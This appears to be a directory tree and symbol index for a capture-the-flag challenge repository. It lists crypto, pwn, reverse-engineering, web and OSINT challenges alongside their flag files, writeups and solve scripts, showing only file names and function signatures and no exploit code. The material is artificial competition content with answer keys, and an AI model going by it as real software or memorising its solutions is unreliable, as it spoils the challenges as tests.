│   ├── do_the_loop/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── writeup.md
│   ├── how-to-pronounce-gif/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   └── retro/
│       ├── README.md
│       ├── challenge/
│       │   └── flag.txt
│       ├── challenge.yml
│       └── writeup.md
├── misc/
│   ├── builder/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── builder.mpd
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── writeup.md
│   ├── canary/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── canary_socket.c
│   │   ├── challenge.yml
│   │   ├── flag.txt
│   │   ├── nsjail.cfg
│   │   ├── publish/
│   │   │   ├── canary
│   │   │   └── canary.c
│   │   └── solve/
│   │       └── canary_solve.py
│   ├── discord/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── floormat/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── publish/
│   │   │   └── floormat.py
│   │   ├── solve/
│   │   │   └── solve.py
│   │   └── src/
│   │       ├── flag.txt
│   │       └── floormat.py
│   ├── flying-spaghetti-monster/
│   │   ├── .dockerignore
│   │   ├── .gcloudignore
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── canned-inputs.txt
│   │   │   ├── canned.json
│   │   │   ├── entry.sh
│   │   │   ├── flag.txt
│   │   │   ├── fsm.py
│   │   │   ├── fsm.txt
│   │   │   ├── pow.py
│   │   │   ├── requirements.txt
│   │   │   └── server.py
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── Dockerfile.solve
│   │       ├── fsm.py
│   │       ├── requirements-solve.txt
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── gammasafe/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   └── server.py
│   │   ├── challenge.yml
│   │   ├── publish/
│   │   │   └── gs_strcmp.3
│   │   └── solve/
│   │       ├── solve.py
│   │       └── solve.threaded.py
│   ├── general_skills_quiz/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── challenge.py
│   │   │   └── wordlist.10000
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── solve.py
│   ├── i_pee_fs/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   └── src/
│   │       ├── .gitignore
│   │       ├── dir/
│   │       │   ├── 01 lol
│   │       │   ├── 03 owo whats this
│   │       │   ├── 04 story
│   │       │   ├── 05 pkfire
│   │       │   └── 07 flag.txt
│   │       ├── generate.sh
│   │       ├── load-test.go
│   │       ├── main-ipv4.go
│   │       ├── main.go
│   │       └── solve.py
│   ├── rabbit/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   ├── matroyshka.sh
│   │   ├── publish/
│   │   │   └── flag.txt
│   │   └── solve.sh
│   ├── survey/
│   │   ├── challenge.yml
│   │   └── solve.py
│   ├── the_introduction/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   └── challenge.py
│   │   ├── challenge.yml
│   │   ├── docker-compose.yml
│   │   └── flag.txt
│   └── twitter/
│       ├── README.md
│       ├── WRITEUP.md
│       └── challenge.yml
├── osint/
│   ├── (back)-On-the-rails/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── Apartment-views/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── Heart-of-the-nation/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── Who-goes-there/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── eyespy/
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   └── challenge.yml
│   ├── get-over-it/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── writeup.md
│   ├── sharing_is_caring/
│   │   ├── README.md
│   │   ├── challenge.yml
│   │   └── writeup.md
│   └── the_internet_is_written_in_ink/
│       ├── README.md
│       ├── WRITEUP.md
│       └── challenge.yml
├── pwn/
│   ├── babygame/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── babygame
│   │   │   ├── babygame.c
│   │   │   ├── flag.txt
│   │   │   └── nsjail.cfg
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── solve.py
│   ├── deadcode/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── deadcode
│   │   │   ├── deadcode.c
│   │   │   └── flag.txt
│   │   └── challenge.yml
│   ├── ductfnote/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── ductfnote
│   │   │   ├── ductfnote.c
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── solve.py
│   ├── encrypted-note/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── encrypted_note
│   │   │   ├── encrypted_note.c
│   │   │   ├── flag.txt
│   │   │   └── nsjail.cfg
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── solve.py
│   ├── leaking-like-a-sieve/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── hellothere
│   │   │   └── hellothere.c
│   │   └── challenge.yml
│   ├── out-backdoor/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── outBackdoor
│   │   │   └── outBackdoor.c
│   │   └── challenge.yml
│   ├── oversight/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── WRITEUP.md
│   │   ├── challenge/
│   │   │   ├── Makefile
│   │   │   ├── flag.txt
│   │   │   ├── oversight
│   │   │   └── oversight.c
│   │   ├── challenge.yml
│   │   └── sol.py
│   ├── ready-bounce-pwn/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── libc.so.6
│   │   │   ├── rbp
│   │   │   └── rbp.c
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   └── write-what-where/
│       ├── Dockerfile
│       ├── README.md
│       ├── challenge/
│       │   ├── flag.txt
│       │   ├── libc.so.6
│       │   ├── write-what-where
│       │   └── write-what-where.c
│       ├── challenge.yml
│       └── solve/
│           └── solve.py
├── rev/
│   ├── bullet-hell/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── bullet_hell
│   │   │   ├── bullet_hell.c
│   │   │   └── flag.txt
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── connect-the-dots/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── connect_the_dots
│   │   │   ├── connect_the_dots.c
│   │   │   ├── flag.txt
│   │   │   └── maze_data.h
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── maze_data.py
│   │       └── solve.py
│   ├── flag-checker/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── flag_checker
│   │   │   ├── flag_checker.c
│   │   │   └── offsets.h
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.sage
│   │       ├── writeup.ipynb
│   │       └── writeup.md
│   ├── flag-loader/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── flag_loader
│   │   │   └── flag_loader.c
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── solve.py
│   │       └── writeup.md
│   ├── flag-printer/
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── flag_printer
│   │   │   └── flag_printer.go
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── data.py
│   │       └── solve.sage
│   ├── gamer/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── Build/
│   │   │   │   ├── game.data
│   │   │   │   ├── game.framework.js
│   │   │   │   ├── game.loader.js
│   │   │   │   └── game.wasm
│   │   │   ├── Caddyfile
│   │   │   ├── TemplateData/
│   │   │   │   └── style.css
│   │   │   ├── flag.txt
│   │   │   └── index.html
│   │   ├── challenge.yml
│   │   └── solve/
│   │       ├── index.html
│   │       └── writeup.md
│   ├── juniperus/
│   │   ├── Dockerfile
│   │   ├── README.md
│   │   ├── challenge/
│   │   │   ├── flag.txt
│   │   │   ├── nsjail.cfg
│   │   │   ├── shell
│   │   │   └── shell.c
│   │   ├── challenge.yml
│   │   └── solve/
│   │       └── writeup.md
│   └── no-strings/
│       ├── README.md
│       ├── WRITEUP.md
│       ├── challenge/
│       │   ├── flag.txt
│       │   ├── nostrings
│       │   └── nostrings.c
│       └── challenge.yml
└── web/
    ├── chainreaction/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge/
    │   │   ├── app.py
    │   │   ├── bad.txt
    │   │   ├── chainreaction/
    │   │   │   ├── .gitignore
    │   │   │   ├── __init__.py
    │   │   │   ├── models.py
    │   │   │   ├── routes.py
    │   │   │   └── templates/
    │   │   │       ├── admin.html
    │   │   │       ├── bad.html
    │   │   │       ├── chats.html
    │   │   │       ├── dev.html
    │   │   │       ├── head.html
    │   │   │       ├── home.html
    │   │   │       ├── index.html
    │   │   │       ├── login.html
    │   │   │       ├── profile.html
    │   │   │       └── register.html
    │   │   ├── cookiejar
    │   │   ├── init.json
    │   │   ├── requirements.txt
    │   │   └── wait-for-it.sh
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   └── solution/
    │       ├── flag.txt
    │       ├── payload.txt
    │       └── solution.md
    ├── cowboy_world/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge/
    │   │   ├── app.py
    │   │   ├── static/
    │   │   │   ├── robots.txt
    │   │   │   └── sad.eml
    │   │   └── templates/
    │   │       ├── index.html
    │   │       └── you_did_the_thing.html
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   └── requirements.txt
    ├── ezmail/
    │   ├── .dockerignore
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── data/
    │   │   ├── generate_ldif.py
    │   │   └── users.ldif
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   ├── solve/
    │   │   └── solve.py
    │   └── src/
    │       ├── config.py
    │       ├── main.py
    │       ├── message.py
    │       └── models.py
    ├── farsight/
    │   ├── .dockerignore
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── data/
    │   │   ├── 1-schema.sql
    │   │   └── 2-data.sql
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   ├── frontend/
    │   │   ├── assets/
    │   │   │   ├── browser.mjs
    │   │   │   ├── index.mjs
    │   │   │   └── util.mjs
    │   │   ├── index.html
    │   │   └── login.html
    │   ├── package.json
    │   ├── solve/
    │   │   └── solve.py
    │   ├── src/
    │   │   ├── app.ts
    │   │   ├── assets/
    │   │   │   └── schema.gql
    │   │   ├── config.ts
    │   │   └── db.ts
    │   └── tsconfig.json
    ├── inside-out/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge/
    │   │   ├── .gitignore
    │   │   ├── config.py
    │   │   ├── main.py
    │   │   ├── static/
    │   │   │   └── style.css
    │   │   ├── templates/
    │   │   │   ├── admin.html
    │   │   │   ├── base.html
    │   │   │   ├── blacklist.html
    │   │   │   ├── forbidden.html
    │   │   │   └── index.html
    │   │   └── util.py
    │   ├── challenge.yml
    │   ├── default.conf
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   └── requirements.txt
    ├── jasons_proxy/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── proxy.py
    │   ├── requirements.txt
    │   ├── run.sh
    │   └── web/
    │       ├── app.py
    │       ├── static/
    │       │   └── style.css
    │       └── templates/
    │           ├── base.html
    │           └── index.html
    ├── jwt/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge/
    │   │   ├── chall.py
    │   │   ├── flag.txt
    │   │   ├── priv
    │   │   └── pub
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   └── solve/
    │       ├── requirements.txt
    │       └── solve.py
    ├── notepad/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── flag.txt
    │   ├── publish/
    │   │   └── app.py
    │   ├── solve/
    │   │   ├── index.html
    │   │   └── solve.py
    │   └── src/
    │       ├── app.py
    │       └── templates/
    │           ├── _pretty.html
    │           ├── index.html
    │           ├── login.html
    │           ├── me.html
    │           ├── register.html
    │           └── report.html
    ├── secret_bin/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── challenge.yml
    │   ├── docker-compose.yml
    │   ├── dump.rdb
    │   ├── flag.txt
    │   ├── init.rdb
    │   ├── publish/
    │   │   ├── app.py
    │   │   └── secret_manager.py
    │   ├── requirements.txt
    │   ├── solve/
    │   │   └── solve.py
    │   └── src/
    │       ├── app.py
    │       ├── secret_manager.py
    │       └── static/
    │           ├── index.html
    │           └── secrets.html
    ├── x1337_sk1d_r3p0rt3r/
    │   ├── Dockerfile
    │   ├── README.md
    │   ├── WRITEUP.md
    │   ├── challenge/
    │   │   ├── requirements.txt
    │   │   └── web/
    │   │       ├── app.py
    │   │       ├── create_db.py
    │   │       ├── static/
    │   │       │   └── style.css
    │   │       └── templates/
    │   │           ├── base.html
    │   │           ├── dashboard.html
    │   │           ├── index.html
    │   │           ├── login.html
    │   │           ├── navbar-auth.html
    │   │           ├── navbar-unauth.html
    │   │           ├── register.html
    │   │           └── report_view.html
    │   ├── challenge.yml
    │   └── docker-compose.yml
    └── zap/
        ├── .dockerignore
        ├── .gitignore
        ├── Dockerfile
        ├── README.md
        ├── challenge.yml
        ├── docker-compose.yml
        ├── flag.txt
        ├── package.json
        ├── solve/
        │   ├── shell.py
        │   └── solve.py
        └── src/
            ├── app.js
            └── index.html
Download .txt
SYMBOL INDEX (501 symbols across 83 files)

FILE: crypto/aes-ecb/challenge/aes-ecb.py
  function enc (line 11) | def enc(pt):
  function pad (line 17) | def pad(pt):
  function main (line 22) | def main():

FILE: crypto/aes-ecb/solve/solution.py
  function get_block (line 11) | def get_block(s,n):

FILE: crypto/otwhat-1/challenge/app/main.py
  function strcmp (line 15) | def strcmp(s1: bytes, s2: bytes) -> int:
  function update (line 23) | def update():
  function root (line 81) | def root():

FILE: crypto/otwhat-2/challenge/app/main.py
  function update (line 18) | def update():
  function root (line 80) | def root():

FILE: crypto/otwhat-2/challenge/generate_audit.py
  function fixed_rng (line 26) | def fixed_rng(l):

FILE: crypto/secuchat/src/generate.py
  function insert_parameters (line 74) | def insert_parameters(encrypted_for_initiator, encrypted_for_peer, iv):
  function new_conversation (line 84) | def new_conversation(initiator, peer, messages, timestamp):

FILE: crypto/treasure/challenge/treasure.py
  function create_shares (line 11) | def create_shares(secret):
  function reveal_secret (line 19) | def reveal_secret(shares):
  function run_combiner (line 24) | def run_combiner(shares):
  function is_coords (line 32) | def is_coords(s):
  function main (line 38) | def main():

FILE: misc/canary/canary_socket.c
  function flag (line 14) | void flag(int sock){
  function swap (line 21) | void swap(unsigned char *a, unsigned char *b) {
  function init_RC4_key (line 27) | void init_RC4_key(unsigned char *S, unsigned char *key){
  function RC4_encrypt (line 40) | void RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned ch...
  function update_canary (line 60) | void update_canary(unsigned char *S, unsigned char* buffer){
  function check_canary (line 75) | int check_canary(unsigned char* buffer){
  function check_flag (line 84) | int check_flag(unsigned char* buffer){
  function user_read (line 91) | void user_read(int sock, unsigned char *S, unsigned char* buffer){
  function challenge_mine (line 97) | void challenge_mine(int sock) {
  function main (line 132) | int main(int argc, char *argv[]){

FILE: misc/canary/publish/canary.c
  function flag (line 11) | void flag(){
  function swap (line 18) | void swap(unsigned char *a, unsigned char *b) {
  function init_RC4_key (line 24) | void init_RC4_key(unsigned char *S, unsigned char *key){
  function RC4_encrypt (line 37) | void RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned ch...
  function update_canary (line 57) | void update_canary(unsigned char *S, unsigned char* buffer){
  function check_canary (line 72) | int check_canary(unsigned char* buffer){
  function check_flag (line 81) | int check_flag(unsigned char* buffer){
  function user_read (line 88) | void user_read(unsigned char *S, unsigned char* buffer){
  function main (line 94) | int main(int argc, char *argv[]) {

FILE: misc/floormat/publish/floormat.py
  class Design (line 7) | class Design(abc.ABC):
    method __init__ (line 8) | def __init__(self, design=[]):
    method items (line 12) | def items(self):
    method get_next (line 15) | def get_next(self):
    method __str__ (line 20) | def __str__(self):
  class Rotate (line 23) | class Rotate(Design):
    method __init__ (line 24) | def __init__(self):
  class Circles (line 27) | class Circles(Design):
    method __init__ (line 28) | def __init__(self):
  class Random (line 31) | class Random(Design):
    method __init__ (line 32) | def __init__(self):
    method get_next (line 35) | def get_next(self):
  function banner (line 65) | def banner():
  function get_happy_f (line 71) | def get_happy_f():
  function get_sad_f (line 74) | def get_sad_f():
  function custom_template (line 77) | def custom_template():
  function get_template (line 93) | def get_template():
  function get_pattern (line 112) | def get_pattern():

FILE: misc/floormat/solve/solve.py
  function recv_until (line 5) | def recv_until(sock, until):

FILE: misc/floormat/src/floormat.py
  class Design (line 10) | class Design(abc.ABC):
    method __init__ (line 11) | def __init__(self, design=[]):
    method items (line 15) | def items(self):
    method get_next (line 18) | def get_next(self):
    method __str__ (line 23) | def __str__(self):
  class Rotate (line 26) | class Rotate(Design):
    method __init__ (line 27) | def __init__(self):
  class Circles (line 30) | class Circles(Design):
    method __init__ (line 31) | def __init__(self):
  class Random (line 34) | class Random(Design):
    method __init__ (line 35) | def __init__(self):
    method get_next (line 38) | def get_next(self):
  function banner (line 68) | def banner():
  function get_happy_f (line 74) | def get_happy_f():
  function get_sad_f (line 77) | def get_sad_f():
  function custom_template (line 80) | def custom_template():
  function get_template (line 96) | def get_template():
  function get_pattern (line 115) | def get_pattern():

FILE: misc/flying-spaghetti-monster/challenge/fsm.py
  function linfunc_gen (line 13) | def linfunc_gen(n=None):
  class FSM (line 25) | class FSM():
    method __init__ (line 26) | def __init__(self, g):
    method new (line 30) | def new(cls, alphabet=string.printable):
    method load (line 49) | def load(cls, fobj):
    method save (line 59) | def save(self, fobj):
    method as_edges (line 64) | def as_edges(self, inputs):
    method get_comp (line 85) | def get_comp(self, inputs):

FILE: misc/flying-spaghetti-monster/challenge/pow.py
  function python_sloth_root (line 37) | def python_sloth_root(x, diff, p):
  function python_sloth_square (line 43) | def python_sloth_square(y, diff, p):
  function gmpy_sloth_root (line 48) | def gmpy_sloth_root(x, diff, p):
  function gmpy_sloth_square (line 54) | def gmpy_sloth_square(y, diff, p):
  function sloth_root (line 60) | def sloth_root(x, diff, p):
  function sloth_square (line 66) | def sloth_square(x, diff, p):
  function encode_number (line 72) | def encode_number(num):
  function decode_number (line 76) | def decode_number(enc):
  function decode_challenge (line 79) | def decode_challenge(enc):
  function encode_challenge (line 85) | def encode_challenge(arr):
  function get_challenge (line 88) | def get_challenge(diff):
  function solve_challenge (line 92) | def solve_challenge(chal):
  function can_bypass (line 97) | def can_bypass(chal, sol):
  function verify_challenge (line 107) | def verify_challenge(chal, sol, allow_bypass=True):
  function usage (line 115) | def usage():
  function main (line 126) | def main():

FILE: misc/flying-spaghetti-monster/challenge/server.py
  function clean (line 28) | def clean(data):
  function die (line 31) | def die(*_):
  class ChallengeFSM (line 36) | class ChallengeFSM(fsm.FSM):
    method get_resp (line 38) | def get_resp(f_expr, final_state, timeout=0):
    method _check_resp (line 50) | def _check_resp(data, resp):
    method run_canned (line 56) | def run_canned(cls):
    method check_canned (line 64) | def check_canned(self):
    method challenge (line 73) | def challenge(self, data, timeout=0):
  function look_busy (line 107) | def look_busy():

FILE: misc/flying-spaghetti-monster/solve/fsm.py
  function linfunc_gen (line 13) | def linfunc_gen(n=None):
  class FSM (line 25) | class FSM():
    method __init__ (line 26) | def __init__(self, g):
    method new (line 30) | def new(cls, alphabet=string.printable):
    method load (line 49) | def load(cls, fobj):
    method save (line 59) | def save(self, fobj):
    method as_edges (line 64) | def as_edges(self, inputs):
    method get_comp (line 85) | def get_comp(self, inputs):

FILE: misc/flying-spaghetti-monster/solve/solve.py
  function get_coeffs (line 16) | def get_coeffs(f):
  function walk (line 21) | def walk(g, al, c):
  function solve (line 40) | def solve(g, f, sf):

FILE: misc/gammasafe/challenge/server.py
  function main (line 8) | def main():

FILE: misc/gammasafe/solve/solve.py
  function guess (line 11) | def guess():

FILE: misc/gammasafe/solve/solve.threaded.py
  function challenge_sock (line 13) | def challenge_sock():
  function make_guess (line 23) | def make_guess(guess):
  function check_outlier (line 31) | def check_outlier(times):
  function guess_character (line 40) | def guess_character(known):
  function solve (line 56) | def solve():

FILE: misc/general_skills_quiz/challenge/challenge.py
  function generate_random_word (line 63) | def generate_random_word(n):
  function question (line 70) | def question(p, q):
  function logic (line 82) | def logic(full_q, compliment):

FILE: misc/general_skills_quiz/solve.py
  function extract_q (line 8) | def extract_q():
  function answer_send (line 14) | def answer_send(ans, n):

FILE: misc/i_pee_fs/src/load-test.go
  function readLoop (line 9) | func readLoop(conn *net.UDPConn) {
  function writeLoop (line 21) | func writeLoop(conn *net.UDPConn, ip net.IP) {
  function main (line 47) | func main() {

FILE: misc/i_pee_fs/src/main-ipv4.go
  constant FILENAME (line 19) | FILENAME = "data"
  constant PER_MINUTE (line 20) | PER_MINUTE = 512
  type logWriter (line 24) | type logWriter struct
  type connectionInfo (line 27) | type connectionInfo struct
  function checkLimit (line 32) | func checkLimit(limiter map[uint32]uint32, addr net.IP) bool {
  function setupListeners (line 56) | func setupListeners(port string, data []uint32) {
  function processor (line 83) | func processor(procIndex int, conn *net.UDPConn, queue chan connectionIn...
  function router (line 100) | func router(procIndex int, conn *net.UDPConn, queues []chan connectionIn...
  function main (line 127) | func main() {

FILE: misc/i_pee_fs/src/main.go
  constant FILENAME (line 18) | FILENAME = "data"
  constant MASK (line 19) | MASK = ^(uint32(0))
  constant PER_MINUTE (line 20) | PER_MINUTE = 512
  constant LOG_INTERVAL (line 21) | LOG_INTERVAL = 32 * 1024
  constant IPV6_FREEBIND (line 22) | IPV6_FREEBIND = 78
  type connectionInfo (line 26) | type connectionInfo struct
  function parseLocalAddress (line 33) | func parseLocalAddress(ip net.IP) uint32 {
  function parseRemoteAddress (line 39) | func parseRemoteAddress(ip net.IP) uint32 {
  function checkLimit (line 46) | func checkLimit(limiter map[uint32]uint32, addr uint32) bool {
  function setupListeners (line 63) | func setupListeners(port string, data []uint32) {
  function generateIPv6OOB (line 105) | func generateIPv6OOB(localAddr syscall.Inet6Pktinfo) []byte {
  function processor (line 121) | func processor(procIndex int, conn *net.UDPConn, queue chan connectionIn...
  function router (line 142) | func router(procIndex int, conn *net.UDPConn, queues []chan connectionIn...
  function main (line 168) | func main() {

FILE: misc/i_pee_fs/src/solve.py
  function get_word (line 23) | def get_word(base_ip: ip_address, sock: socket, data: List[int], offset:...
  function get_data (line 54) | def get_data(base_ip: ip_address, sock: socket, data: List[int], offset:...
  function solve (line 74) | def solve():

FILE: misc/the_introduction/challenge/challenge.py
  function typer (line 4) | def typer(text2type):

FILE: pwn/babygame/challenge/babygame.c
  function main (line 17) | int main() {
  function init (line 43) | void init() {
  function get_num (line 49) | int get_num() {
  function print_menu (line 56) | void print_menu() {
  function set_username (line 63) | void set_username() {
  function print_username (line 69) | void print_username() {
  function game (line 74) | void game() {

FILE: pwn/deadcode/challenge/deadcode.c
  function buffer_init (line 3) | void buffer_init() {
  function main (line 9) | int main(void) {

FILE: pwn/ductfnote/challenge/ductfnote.c
  type param_t (line 6) | typedef struct param {
  type datanote_t (line 10) | typedef struct datanote {
  function main (line 23) | int main() {
  function init (line 65) | void init() {
  function welcome (line 71) | void welcome() {
  function print_menu (line 99) | void print_menu() {
  function datanote_t (line 109) | datanote_t * create_note(unsigned int size, param_t *params) {
  function show_note (line 121) | void show_note(datanote_t * note) {
  function edit_note (line 135) | void edit_note(datanote_t * note) {

FILE: pwn/ductfnote/solve/solve.py
  function debug (line 43) | def debug(cmd=''):

FILE: pwn/encrypted-note/challenge/encrypted_note.c
  function init (line 13) | void init() {
  function read_int (line 24) | int read_int() {
  function menu (line 30) | int menu() {
  function lcg_next (line 40) | long lcg_next() {
  function encrypt (line 45) | void encrypt(char* pt) {
  function write_note (line 59) | void write_note(char* note) {
  function read_note (line 66) | void read_note(char* note) {
  function append_to_note (line 73) | void append_to_note(char* note) {
  function win (line 87) | void win() {
  function vuln (line 91) | void vuln() {
  function main (line 115) | int main() {

FILE: pwn/encrypted-note/solve/solve.py
  function write_note (line 4) | def write_note(note_contents):
  function decrypt_write_notes (line 8) | def decrypt_write_notes(note_contents):
  function read_note (line 12) | def read_note():
  function append_to_note (line 16) | def append_to_note(block):
  function decrypt_append_to_note (line 20) | def decrypt_append_to_note(block):
  function get_lcg_next (line 24) | def get_lcg_next():
  function lcg_skip (line 30) | def lcg_skip(n):
  function get_decrypted_payload (line 34) | def get_decrypted_payload(payload):
  function predict_lcg_next (line 40) | def predict_lcg_next(b=True):
  function predict_lcg_peek (line 47) | def predict_lcg_peek(n, b=True):
  function find_good_lcg_skip (line 55) | def find_good_lcg_skip(k):

FILE: pwn/leaking-like-a-sieve/challenge/hellothere.c
  function buffer_init (line 3) | void buffer_init() {
  function main (line 9) | int main() {

FILE: pwn/out-backdoor/challenge/outBackdoor.c
  function buffer_init (line 3) | void buffer_init() {
  function main (line 9) | int main(void) {
  function outBackdoor (line 19) | void outBackdoor() {

FILE: pwn/oversight/challenge/oversight.c
  function read_string (line 7) | void read_string(char *buffer, int len)
  function get_lucky (line 13) | void get_lucky()
  function echo_inner (line 24) | __attribute__((noinline)) void
  function echo (line 32) | __attribute__((noinline)) void
  function get_num_bytes (line 39) | __attribute__((noinline)) void
  function introduce (line 54) | __attribute__((noinline)) void
  function wait (line 63) | __attribute__((noinline)) void
  function main (line 72) | int main()

FILE: pwn/ready-bounce-pwn/challenge/rbp.c
  function init (line 5) | void init() {
  function read_long (line 10) | long read_long() {
  function main (line 16) | int main() {

FILE: pwn/ready-bounce-pwn/solve/solve.py
  function write (line 3) | def write(name, offset):

FILE: pwn/write-what-where/challenge/write-what-where.c
  function init (line 5) | void init() {
  function main (line 10) | int main() {

FILE: pwn/write-what-where/solve/solve.py
  function www (line 7) | def www(what, where):

FILE: rev/bullet-hell/challenge/bullet_hell.c
  type bullet_t (line 14) | typedef struct {
  type game_t (line 19) | typedef struct {
  function generate_bullets (line 26) | void generate_bullets(game_t* game_state) {
  function die (line 127) | void die() {
  function win (line 133) | void win() {
  function update_bullets (line 142) | void update_bullets(WINDOW* window, game_t* game_state) {
  function play (line 180) | int play() {
  function main (line 231) | int main() {

FILE: rev/bullet-hell/solve/solve.py
  function generate_bullets (line 14) | def generate_bullets(game_state, rand):
  function print_game (line 54) | def print_game(game_state, term):
  function update_bullets (line 67) | def update_bullets(game_state):
  function simulate (line 84) | def simulate(rand, save_game):

FILE: rev/connect-the-dots/challenge/connect_the_dots.c
  function die (line 6) | void die() {
  function find (line 11) | int find(int* arr, int n, int x) {
  function run (line 20) | int run(char* moves) {
  function main (line 90) | int main() {

FILE: rev/connect-the-dots/solve/solve.py
  function prod (line 4) | def prod(arr, n):
  function get_neighbours (line 23) | def get_neighbours(maze, pos):
  function bfs (line 32) | def bfs(maze, start, goal):
  function reconstruct_path (line 47) | def reconstruct_path(parents, goal):
  function get_dot_locations_and_idx (line 57) | def get_dot_locations_and_idx(maze):
  function get_dot_ordering (line 68) | def get_dot_ordering(dot_data_):

FILE: rev/flag-checker/challenge/flag_checker.c
  type node (line 11) | struct node {
  type node_t (line 16) | typedef struct node node_t;
  function _srand (line 20) | void _srand(unsigned int x) {
  function _rand (line 24) | unsigned int _rand() {
  function init (line 29) | void init() {
  function node_t (line 34) | node_t* generate(unsigned char* buf) {
  function permute (line 81) | void permute(unsigned char* input, node_t* root) {
  function m2 (line 120) | unsigned char m2(unsigned char b) {
  function mix_column (line 124) | void mix_column(unsigned char* input, int idxs[]) {
  function mix (line 147) | void mix(unsigned char* input) {
  function die (line 162) | void die() {
  function main (line 169) | int main() {

FILE: rev/flag-loader/challenge/flag_loader.c
  function sig_handler (line 7) | void sig_handler() {
  function init (line 12) | void init() {
  function die (line 20) | void die() {
  function check1 (line 26) | unsigned int check1() {
  function check2 (line 46) | unsigned int check2() {
  function check3 (line 64) | unsigned int check3() {
  function main (line 86) | int main() {

FILE: rev/flag-printer/challenge/flag_printer.go
  function Mul (line 64) | func Mul(A [50][50]uint64, B [50][50] uint64) [50][50]uint64 {
  function Sum (line 77) | func Sum(A [50][50]uint64) uint64 {
  function main (line 87) | func main() {

FILE: rev/gamer/challenge/Build/game.framework.js
  function unityFramework (line 1) | function unityFramework(Module) {

FILE: rev/gamer/challenge/Build/game.loader.js
  function createUnityInstance (line 1) | function createUnityInstance(e,t,r){function n(e){var t="unhandledreject...

FILE: rev/juniperus/challenge/shell.c
  function print_log (line 12) | bool print_log(const char* format, ...) {
